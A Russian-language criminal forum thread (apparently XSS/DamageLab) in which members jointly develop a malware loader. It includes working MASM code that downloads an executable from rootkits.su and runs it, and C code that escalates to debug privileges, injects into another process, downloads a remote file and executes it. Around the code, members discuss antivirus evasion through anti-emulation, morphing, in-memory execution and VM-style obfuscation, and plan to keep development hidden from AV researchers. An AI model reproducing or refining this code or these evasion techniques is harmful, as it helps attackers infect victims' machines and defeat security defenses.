• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

По аверам - спасибо за пояснение, более менее понятно. Мда, сложно с этим всем, и как только крипторы справляются?

как то справляются;) на самом деле тут не все безнадежно... уаля война щита и меча :)

Вот! У меня тоже иногда скачивается нормально, а иногда вот это "магическое число" байт, и ес-но файл не запускается, ибо он без куска данных.
И откуда эта ерунда берется? Не пойму, что за фигня, вроде же работает иногда как надо.

склонен полагать что вопрос в подключении... ибо если организовать докачку все будет айс полюбому...

p.s. ну ты создаешь тред отдельный или как?;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
ну ты создаешь тред отдельный или как?
Честно говоря, я не знаю, сомневаюсь, стоит ли. Во-первых, все это говнокод, и если кто учится, то ему может быть это не на пользу. А во-вторых - скачивание на сокетах не работает нормально, там есть какая-то фигня, которая иногда не дает скачать весь файл (а дает 4394 байта). Я пока это не исправил, и (судя по комментам на васме) придется переделать всю функцию, ибо она у меня в корне неправильная. Или переписать на Си.

Мне не то чтобы жаль или сложно создать новый тред, просто хз, стоит ли оно того. Изначально я думал , что этот лоадер будет продуктом от Damagelab, но сейчас лично мне стыдно было бы называть этот :shit: код как официальный релиз от дамаги.
 
ну на си переписать гуманная мысль... про продукт от дл пока говорить рано... но вот в отдельном треде код пообсуждать думаю найдутся желающие
 
Вот так оно лучше будет.Твой же код,должно работать.

Код:
.386                      
.model flat, stdcall      
option casemap:none

of_ReadWrite equ 2

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32,urlmon,msvcrt,ws2_32
includelib \masm32\lib\irvine32.lib

.data
uri db "/newgate/gate.php?id=%.8x",0
host db "rootkits.su",0
uag db "Mozilla",0

request db "GET %s HTTP/1.0",0dh,0ah
        db "Host: %s",0dh,0ah
        db "Connection: Close",0dh,0ah,0dh,0ah,0
fname db "test1.exe",0
furi db "/newgate/1.exe",0
cif STARTUPINFO <>
pi PROCESS_INFORMATION  <>
.data?

.code
main PROC
call dload
push 0
call ExitProcess

main ENDP

dload PROC uses ecx
;скачивание файлов на сокетах
local wsa:WSADATA
local saddr:sockaddr_in
local sock:dword
local buf[1024]:byte
local buffer[5200]:byte
local fg:dword
local bwr:dword

Invoke WSAStartup,101h,addr wsa
    .if eax==NO_ERROR
    Invoke socket,PF_INET,SOCK_STREAM,0
    .if eax!=SOCKET_ERROR
        mov sock,eax
        Invoke gethostbyname,offset host
    .if eax!=0
        mov eax,[eax+12]
        mov eax,[eax]
        mov eax,[eax]
        mov saddr.sin_addr,eax
        invoke htons,80
        mov saddr.sin_port,ax
        mov saddr.sin_family,AF_INET
        Invoke connect,sock,addr saddr,sizeof saddr
        .if eax!=SOCKET_ERROR
            Invoke wsprintf,addr buffer,offset request,offset furi,offset host
            Invoke send,sock,addr buffer,eax,0
        .endif
        
    parse_head:    
    invoke recv,sock,addr buf,400h,0
    push eax;к-тво байт, которые прочитали из сокета (сохранить) ----- а если бы допустим у тя не один раз пушилось,а возврат из сека всего один.
        cld
        lea esi,buf
        @@:
        lodsb
        cmp al,0Dh
        jnz @b
        cmp word ptr [esi+1],0A0Dh
            jz head_catched;нашли? Значит конец хидеров
        jmp @b
    jmp parse_head;может лишнее, но вдруг хидеры будут длиннее 400h?

    head_catched:
    Invoke CreateFile,offset fname,GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
        mov fg,eax
        pop ebx;к-тво байт, которые возвратил recv
        lea ecx,[esi+3]
        lea eax,buf
        sub ecx,eax
        sub ebx,ecx
        invoke WriteFile,fg,addr [esi+3],ebx,addr bwr,0;запись данных из первого recv
    get_body:
    invoke recv,sock,addr buf,400h,0
    test eax,eax;если ноль
    jz body_catched;скачали все данные
        mov ebx,eax
    invoke WriteFile,fg,addr buf,ebx,addr bwr,0;в еах к-тво байт считанных recv
        jmp get_body
    
    body_catched:;можно добавить какие-то проверки или хз
        
            invoke CloseHandle,fg    
    .endif
    invoke shutdown,sock,SD_BOTH
    Invoke closesocket,sock
    .endif
    Invoke WSACleanup
    
        invoke _lopen,offset fname,of_ReadWrite
        mov fg,eax
    invoke GetFileSize,fg,0
      invoke wsprintf,addr buf,chr$("%d"),eax
      invoke MessageBox,0,addr buf,0,0
invoke _lclose,fg
    invoke CreateProcess,offset fname,NULL,NULL,NULL,FALSE,NULL,NULL,NULL,offset cif,offset pi
.endif    
ret
dload ENDP

end main
 
nerowolfe дроп на диск. хотя можно и допилить до загрузки в память.

salamandra крит процесс лучше. да и код читабельней;)

p.s. на си код ли прозрачнее не будет? с оптимизацией и остальными плюшками размер будет мало чем от масма отличаться...
 
local buf[1024]:byte
local buffer[5200]:byte

вроде как стек не резиновый и 4096 при начальной инициализации

Invoke send,sock,addr buffer,eax,0
.endif
проверить всё ли отправлено

invoke recv,sock,addr buf,400h,0
проверить сколько получено, может быть любым числом(может и ваще вернуть ошибку)

cld
lea esi,buf
@@:
lodsb
cmp al,0Dh
jnz @b
cmp word ptr [esi+1],0A0Dh
так делать нельзя, например при первом чтении вернулся 1 байт или число байт меньшее чем размер заголовка. нужно исходя из того сколько байт пришло уже сканировать

invoke recv,sock,addr buf,400h,0
test eax,eax;если ноль
jz body_catched;скачали все данные
тоже самое, кроме нуля мб и -1 (SOCKET_ERROR)

вообще в целом лучше постепенно выделять память, считывать в неё из буффера полученные данные и по мере необходимости расширять (VirtualAlloc+MEM_RESERVE/MEM_COMMIT)


PS тут еще можно много чего покритиковать, но я даже эти 2 абзаца зблся писать, боюсь прочесть тоже будет нелегко
 
Пожалуйста, обратите внимание, что пользователь заблокирован
salamandra
Спасибо за помощь, я понял, там надо было с первого буфера отделять заголовки от тела, и записывать только тело, иначе видимо этот кусок и не записывался.

Ragnar
Спасибо за ответ, мда, сложно все это. Для практики, конечно, надо бы поработать с этими сокетами, но на деле..не проще ли в реальной малваре, в самом деле, использовать UrlDownloatofile? Детектов эти сокеты меньше не дают, а нюансов с ними много, в итоге, может быть потеря какого-то % инсталлов.
 
Ну да!Я же уже привордила простой пример кода на фасме,я не знаю,почему ты там этого не заметил?Конечно же все это нужно допиливать,учитывать нюансы."UrlDownloatofile",бесусловно проще,но тогда ты ничего и не поймёшь.И как правильно сказали,нужен антиэмуль и вообще
по всякому можно.
 
если на фасме запилить с антиэмулем, то можно серверсайд морфер сделать и будет айс... + прикрутить memfile, чтобы не дропать на хдд... где то в нете есть, тоже на фасме... отпадает надобность в крипте вообще...
 
Сегодня был на exploit.in и увидел обзор про Dloader, так вот там:
- Он и сейчас ничего. Нету кодера на асме который бы мог продолжить дело. Если кто-то хочет то прошу в личку или по контактам стучать, обсудим.
- Я думал, что проект умер.
- Нет, все живо, выдаю ребилды.
выдаю ребилды.
Чет не понятно как-то, ведь вроде этот Dloader в паблике уже давно. (просто уже не помню конкретно)
На асме нет кодера, потому что х#йней страдать никто не хочет, все ведь знают какой ебочь ждет %))), да и примеров "масса", когда начинает один самоделкин-самодур что-то на асме кодить, а потом пропадает куда-то и начинаецца поиск... создавая тем самым иллюзию востребованности асм кодеров %))) - ИМХО.
Если память мне не изменяет, то в Dloader`е юзается базонезависимый код, и даже непонятно что там.. если только не все...
Да и переделывать за кем-то что-то, наверное, тоже все знают, что лучше с нуля свое написать, новое имя - больше бабла, и тогда уже еще больше становиться непонятным участие во всем этом этого самого "посредника"...
Кто-нибудь в курсе о цене вопроса?
У меня такое впечатление, что ищецца долбаеб, а не кодер...

Есть тема (в принципе подходит, чтобы ее здесь обсудить), не знаю, может стоит поставить хайд 100-150 на обсуждение, так как все равно у тех кто что-то здесь пишет есть сотня постов...
Отписался, чтобы те, кто появится на сайте, были в курсе, что "на днях" "что-то" будет обсуждаться.
В качестве базы решил взять аттач (вернее саму идею, но..), распишу "несколько" недостатков (как обычно зафакаю) и дам для примера файлик, который покажет примерное направление, что нужно будет делать... не знаю, посмотрим, как отреагируют "старички"
В положительный исход этой компании я не верю (так как тема для обсуждения и реализации не простая (хотя я считаю, что сложного в этом ничего нет, да и поэкспериментировать.. вполне возможно, что это будет интересно)), но что-то внутри подсказывает, что это где-то потом может "родицца" что-то полезное и годное.
Ограничение с выбором ЯП можно снять, так как я не вижу проблем с этим. Напишем на том, на чем будет проще сделать реализацию обсуждаемого.
Через дня 2-7 (если конечно конца света не случицца) здесь выложу инфу для старта, а дальше будет сразу видно...
ЗЫ: Считаю, что нужно поставить хайд (если будет что-то получацца), ну если не хайд, то антидолбаеб какой-нибудь, как делают на различных сайтах с шифрованием пароля, но я думаю что нужно придумать что-то оригинальнее, да такое, чтобы стало недоступно основной массе этих самых "шифровальщикофф" %))) (шучу), но если серьезно, то для того чтобы скрыть обсуждение от аверов. Могу выложить стартовую инфу открыто, а потом все остальное только тем, кто реально будет участвовать в разработке лоадера. Опен как видим реальных результатов не дал, да и не даст.. нужно это адекватно понимать... (ИМХО)
 
Если на пару-тройку страниц этого топа назад прокрутить, то я
там пишу то что нужно ограничить доступ к разработке, и тем самым
как то защитить проект еще на стадии "зарождения" от копипастеров и т.д.
Практически тоже самое что в #193 пишет KraZz
Не будем вокруг да около ходить... вот пускай это будет "база", код
наипростейший, будем из какашки лепить шоколадку...
За инжект можно подумать убрать или модифицировать...
Также можно находить папку темпа GetTempPathW и дропать файл туда...
За динамический импорт и др. мозгокрутство пока не говорим,
я считаю это последние штрихи.


Код:
#pragma comment(linker,"/BASE:0x13140000 /ENTRY:InjectPro /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")   
#pragma comment(lib, "urlmon.lib")   
#include <windows.h>   
   
void InjectMemo()   
   
{   
    URLDownloadToFile(0, "http://www.host.com/file.exe", TEXT("C:/file.exe"), 0, 0);   
    WinExec("c:/file.exe", SW_SHOW);   
    ExitThread(0);   
}   
   
void GetDebugPrivs()   
{   
    HANDLE hToken;   
    DWORD ReGvl;   
    TOKEN_PRIVILEGES Ttges;   
   
    if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))   
    {   
        LookupPrivilegeValue(NULL, "SeDebugPrivilege", &Ttges.Privileges[0].Luid);   
        Ttges.PrivilegeCount=1;   
        Ttges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
        AdjustTokenPrivileges(hToken, FALSE, &Ttges, 0,(PTOKEN_PRIVILEGES)NULL, &ReGvl);   
    }   
}   
   
void InjectPro()   
{   
    DWORD Size,PID;   
    PBYTE module;   
    module = (PBYTE)GetModuleHandle(0);   
    Size = ((PIMAGE_NT_HEADERS)(module+((PIMAGE_DOS_HEADER)module)->e_lfanew))->OptionalHeader.SizeOfImage;   
    HANDLE ProcessHandle;   
    LPVOID heart;   
    GetDebugPrivs();   
    GetWindowThreadProcessId(FindWindow("#32770", NULL), &PID);   
    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);   
    VirtualFreeEx(ProcessHandle, module, 0, MEM_RELEASE);   
    heart = VirtualAllocEx(ProcessHandle, module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   
    WriteProcessMemory(ProcessHandle, heart, module, Size, NULL);   
    CreateRemoteThread(ProcessHandle, 0, 0, (LPTHREAD_START_ROUTINE)InjectMemo, module, 0, NULL);   
}  

как вариант превратить это в шеллкод, и тем самым обеспечить двухуровневый инжект.

p.s. Вообщем начало положено, давайте уж так.
p.s.s. для мемберов у кого еще нет 100 постов, но есть огромное желание принять участие, пишите, возможно реально будет еще уменьшить хайд.
поехали!
 
#pragma comment(linker,"/BASE:0x13140000 /ENTRY:InjectPro /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")
тушите свет - все убиты наповал :rip2:
можете смело удалять тиранозаврские сорцы , желательно спец утилитой без возможности восстановления.
 
сурс взят из паблика как основа основ... опции линкера нас сейчас должны интересовать меньше всего.

Barack а что вас собсно смутило? не уж то циферки вот тут /BASE:0x13140000 ?
лучше предложили б че по теме...
 
KraZz Вылай мне в ПМ список людей, которых ты бы желал привлечь к этой разработке. Я выдам вам отдельный закрытый раздел или топ. Там безопасно будете обсуждать все что душе угодно.

p.s. Вам выдан доступ к закрытому разделу в котором будет идти разработка данного лоадера.
По желанию - могу вас же и назначить модером данного раздела.
 
Ar3s пишет:
Я выдам вам отдельный закрытый раздел или топ. Там безопасно будете обсуждать все что душе угодно.
Хз. хз. пока надо найти желающих принять участие в проекте - тех, кто реально...
Не знаю, выложу инфу, а там уже видно будет.. думаю, процентов 50 желающих сразу отпадет... (автоматом)

Да и вообще я как бы тоже, как и все на птичьих правах здесь, все решают знания в кодинге, желание получить опыт от реализации проекта, "поработать" в команде (прочувствовать дух DL), возродить Дзен на DL, который почти умер с уходом Волка и многих других...
Любой может принять участие (ну кроме естественно аверов) у нас же демократия, епт...
Просто это нужно делать сейчас, потом уже будет поздно. Нужно принимать активное участие в обсуждении. Чтобы можно было оценить уровень знаний. Никто же не запрещает продолжить начатое ранее.
Просто видно же что есть те, кто уже готов к обсуждению чего-то реального (те, кого не интересует URLDownloadToFile+WinExec, но интересует нечто большее)
И есть те, кто делает первые шаги, нихера не знает всех нюансов.

Ar3s пишет:
KraZz Вылай мне в ПМ список людей, которых ты бы желал привлечь к этой разработке.
Да я могу здесь сказать, но только это ничего не изменит, хотелка у каждого из нас безгранична, а реальность рулит, так как ей хочецца!
Список-то напишу, а вот согласяцца ли те, кто в этом списке будет?

Хотя-я-я.. хм-м.. кхе-кхе, а че действительно волынку тянуть, можно сразу все и порешать не отходя от свободной кассы :)
Список:
Ar3s - Организатор сего мероприятия, разработка WEB, тестинг. (Менеджер.)
Общались в ПМ, даже на приватные темы, все было гуд. :)
salamandra - кодинг. (Надо же чтобы кто-то говорил: - мальчики не ссорьтесь!)
Общались в ПМ, даже на приватные темы, все было гуд. :)
Left4Dead - кодинг, "идейный генератор". (Тот с кем можно поспорить - полная противоположность меня)
Не знаю кто такой, да и вообще мутный тип какой-то. В ПМ немного общались. :)

Ну и теперь немного инфы (часть инфы убрана и нет архива с нужными файлами (все это будет доступно тем, кто будет участвовать реально в проекте))
Если взять за основу аттач main.c.zip который прицепил Left4Dead, то можно сразу увидеть ряд недостатков:
1. Это его размер.
В архиве сэмпл, размер у него (не пожатого) около 400kb.
Конечно же, скорее всего это делалось от души и специально для аверов, че там говорить, если компилер об этот говнокод зубы сломал %)))
2. Это вложенность циклов.
http://govnokod.ru/4260
а 128-ой уровень вложенности - это чуть более чем дохуя. нахера еще больше?
Хех, чел явно не знает про нашу тему, а если бы знал, сказал бы: че так мало - "палицца-же" нахЪ %)))
Left4Dead пишет:
в итоге палевность антивирусами 0/41
3. Вряд ли этот говнокод на virustotal.com покажет ноль, скорее всего некоторые AV зафакают каким-нибудь Heur, а вот на каком-нибудь virtest.com - запросто. (ИМХО)
4. Это сам "движок" (back-end) для генерации этого говнокода.
Я считаю, что JIT намного эффективнее. Хотя JIT тоже можно назвать условно back-end`ом, но между ними все же есть различия, так как JIT генерит сразу рабочий код, без дополнительной потребности в компиляции.

Теперь о "плюсах":
По-сути этот говнокод можно назвать криптором, но так как внутри находится "реально лоадер", а не сэмпл... решение принимаецца за основу для обсуждения темы как одно из возможных направлений для написания базового скелета лоадера. (будем считать, что автором идеи является Left4Dead)
Если лаконично, утрировано и завуалировано выразицца: то такое количество циклов нужно чтобы антивирусное ПО "думало" что запустилась обычная программа, и если учесть тот факт что большинство крипторов уже давно "развиваются" в этом направлении и это реально может влиять на детект (на его снижение), это также будет являться одной из базовых отличительных характеристик от других поделок.
Но в этом есть и еще один существенный плюс, начальное время запуска получаецца "отложенным" что при определенных условиях может быть весьма кстати.

Размер этого говнокода впечатляет, че тут говорить. Но его можно уменьшить и даже сделать более компактным, чем это возможно было бы сделать обычными средствами компилятора.
Размер этот, получается, из-за огромного числа вложенности циклов.
Мы можем весь функционал лоадера вложить в "один" цикл, в народе подобное называют ВМ (виртуальной машиной).
Но у нас будет одно существенное различие, мы добавим немного "математики".
Что это значит? Да все просто - ВМ обычно имеет "пикод", на базе которого и строится логика функционала программы (как это работает можно увидеть из сэмпла в архиве, но к этому мы еще вернемся чуть позже). Мы должны будем сделать вместо байт-кода одну переменную (ну скажем, размером в 128 бит) и будем над ней выполнять разные примитивные "математические" операции, результатом которых и будет (по выполненному условию) выполнение реального функционала лоадера.
А также будет "очень много" "холостых" математических операций, которые и создадут иллюзию вложенных циклов.

P. S.
Ну, вот и старт.
PP. S.
Главное чтобы не конец %)))
 
Мы должны будем сделать вместо байт-кода одну переменную (ну скажем, размером в 128 бит) и будем над ней выполнять разные примитивные "математические" операции, результатом которых и будет (по выполненному условию) выполнение реального функционала лоадера.
А также будет "очень много" "холостых" математических операций, которые и создадут иллюзию вложенных циклов.

такое количество циклов нужно чтобы антивирусное ПО "думало" что запустилась обычная программа

Идея в том, что вм будет использоватся для усложения реверса или андетекта против аверов? Или для обеих случаев в одном флаконе?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх